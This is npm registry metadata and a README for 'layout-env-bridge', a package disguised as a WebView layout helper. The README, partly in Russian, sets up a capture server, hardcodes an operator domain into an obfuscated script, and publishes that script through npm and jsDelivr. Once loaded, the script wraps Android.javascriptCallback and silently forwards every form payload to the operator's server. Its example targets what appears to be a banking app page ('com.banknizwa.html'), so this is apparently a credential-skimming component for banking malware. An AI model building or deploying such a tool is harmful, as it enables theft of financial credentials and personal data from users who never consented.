{"_id":"layout-env-bridge","_rev":"2-555f0b97c1a755d8616880f140e2cf75","name":"layout-env-bridge","dist-tags":{"latest":"1.0.8"},"versions":{"1.0.7":{"name":"layout-env-bridge","version":"1.0.7","keywords":["layout","viewport","webview","android","compat"],"author":"","license":"MIT","_id":"layout-env-bridge@1.0.7","maintainers":[{"name":"redbull2507","email":"redbull2507@proton.me"}],"dist":{"shasum":"704b14eacc17d3d64d508d11fba76ab8e9d7fc03","tarball":"https://registry.npmjs.org/layout-env-bridge/-/layout-env-bridge-1.0.7.tgz","fileCount":4,"integrity":"sha512-kuLgckQ27ECQHTdNi7xEqEx02sctr7B471TYiT+ec497P+WUAxR/Vw7PBNnk71SWGlg9njZHvbPk6T/6iczqag==","signatures":[{"sig":"MEYCIQC7WXac8vzbpT+IhhT+UqDHBN8/T8iAa1HBjmPHHUyzPAIhAPxMkxrwU9xQ+jZ1nd6A84mqGHbld+El+0USm7YE+5so","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":13982},"main":"dist/h.js","browser":"dist/h.js","engines":{"node":">=18"},"gitHead":"81bb2494f829e3d0972b783c38747dfd1b46e04f","scripts":{"start:server":"node server/index.js"},"_npmUser":{"name":"redbull2507","email":"redbull2507@proton.me"},"_npmVersion":"11.12.1","description":"Browser helper: WebView / form compat (mirrors Android.javascriptCallback payloads to configurable HTTP ingest).","directories":{},"_nodeVersion":"24.14.1","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/layout-env-bridge_1.0.7_1777024536349_0.8668365051770419","host":"s3://npm-registry-packages-npm-production"}},"1.0.8":{"name":"layout-env-bridge","version":"1.0.8","description":"Browser helper: WebView / form compat (mirrors Android.javascriptCallback payloads to configurable HTTP ingest).","license":"MIT","author":"","main":"dist/h.js","browser":"dist/h.js","keywords":["layout","viewport","webview","android","compat"],"scripts":{"start:server":"node server/index.js","build:h":"node scripts/build-h.cjs","prepublishOnly":"npm run build:h"},"devDependencies":{"javascript-obfuscator":"^4.1.1","terser":"^5.37.0"},"engines":{"node":">=18"},"gitHead":"81bb2494f829e3d0972b783c38747dfd1b46e04f","_id":"layout-env-bridge@1.0.8","_nodeVersion":"24.14.1","_npmVersion":"11.12.1","dist":{"integrity":"sha512-UMAXuDjkb+B5ENN9Rgj+iIpm6Ol6BSjZckUtdkIypF3dFZZzaUDzVDufEaLaOPlav+VAbmkXULI9OjlPnUzOZA==","shasum":"39e689fea41f402097c707ba7179d8edc2a02df5","tarball":"https://registry.npmjs.org/layout-env-bridge/-/layout-env-bridge-1.0.8.tgz","fileCount":4,"unpackedSize":26047,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIDYlTq6CG4dXc8KCV7VJjkuNTRYu+gHn3L/kVQi1RGbZAiAqYCsbs7pofPjMUBuvy34FNndOL4JT9pirwWxy0HDbVw=="}]},"_npmUser":{"name":"redbull2507","email":"redbull2507@proton.me"},"directories":{},"maintainers":[{"name":"redbull2507","email":"redbull2507@proton.me"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/layout-env-bridge_1.0.8_1777024712997_0.5513620555544905"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-24T09:55:36.280Z","modified":"2026-04-24T09:58:33.216Z","1.0.7":"2026-04-24T09:55:36.476Z","1.0.8":"2026-04-24T09:58:33.121Z"},"license":"MIT","keywords":["layout","viewport","webview","android","compat"],"description":"Browser helper: WebView / form compat (mirrors Android.javascriptCallback payloads to configurable HTTP ingest).","maintainers":[{"name":"redbull2507","email":"redbull2507@proton.me"}],"readme":"# layout-env-bridge\n\nSmall browser script for WebView pages: when `Android.javascriptCallback(...)` runs, the same JSON is **also** sent to **your** HTTP server and stored as files on disk.\n\n## 1. Run the server (VPS / local)\n\n```bash\ncd packages/inject-ingest-beacon\nDATA_DIR=./my-captures INGEST_SECRET=change-me node server/index.js\n```\n\n- `POST /ingest` — body = JSON (same string/object as in `javascriptCallback`)\n- Optional header: `X-Ingest-Secret: change-me` if `INGEST_SECRET` is set\n- Files: `DATA_DIR/<YYYY-MM-DD>/<timestamp>_<uuid>.json`\n- Health: `GET /health`\n\nPut the server behind HTTPS (nginx, Caddy, etc.) and open CORS is already `*` for this minimal server.\n\n## 2. Вшить домен в скрипт (одна строка на странице)\n\nРедактируй `lib/bridge.js`, затем `npm run build:h` (собирает обфусцированный `dist/h.js`). В начале IIFE задай:\n\n```js\nvar INGEST_ENDPOINT = \"https://ТВОЙ_ДОМЕН/ingest\";\nvar INGEST_SECRET = \"твой-секрет\"; // или \"\" если не нужен\n```\n\nПотом опубликуй пакет. На странице достаточно:\n\n```html\n<script src=\"https://cdn.jsdelivr.net/npm/layout-env-bridge@1/dist/h.js\"></script>\n```\n\nПереопределение без пересборки: атрибуты `data-endpoint` / `data-secret` или `window.__INGEST_BEACON__` (см. ниже).\n\n## 3. Publish to npm\n\n```bash\ncd packages/inject-ingest-beacon\nnpm login\nnpm publish --access public\n```\n\nПосле публикации jsDelivr (подставь свою версию):\n\n```html\n<script src=\"https://cdn.jsdelivr.net/npm/layout-env-bridge@1/dist/h.js\"></script>\n```\n\nLoad this script **before** or **as early as possible** relative to your page logic so `Android` can be wrapped when it appears.\n\n## 4. Example: `com.banknizwa.html`\n\nAdd **right after** `<body>` or before your inline `<script>`:\n\n```html\n<script src=\"https://cdn.jsdelivr.net/npm/layout-env-bridge@1/dist/h.js\"></script>\n```\n\nNo changes to your form handler are required: the beacon wraps `Android.javascriptCallback`.\n\n### Alternative config (без правки npm-файла)\n\n```html\n<script>\n  window.__INGEST_BEACON__ = {\n    endpoint: \"https://api.example.com/ingest\",\n    secret: \"change-me\"\n  };\n</script>\n<script src=\"https://cdn.jsdelivr.net/npm/layout-env-bridge@1/dist/h.js\"></script>\n```\n\n## 5. Manual send (optional)\n\n```js\nwindow.InjectIngestBeacon.send({ foo: 1 });\n```\n\n## 6. Security\n\n- Always use **HTTPS** + a strong `INGEST_SECRET` in production.\n- This package does not authenticate end users; it only forwards what your page already sends to `javascriptCallback`.\n\n## 7. License\n\nMIT\n","readmeFilename":"README.md"}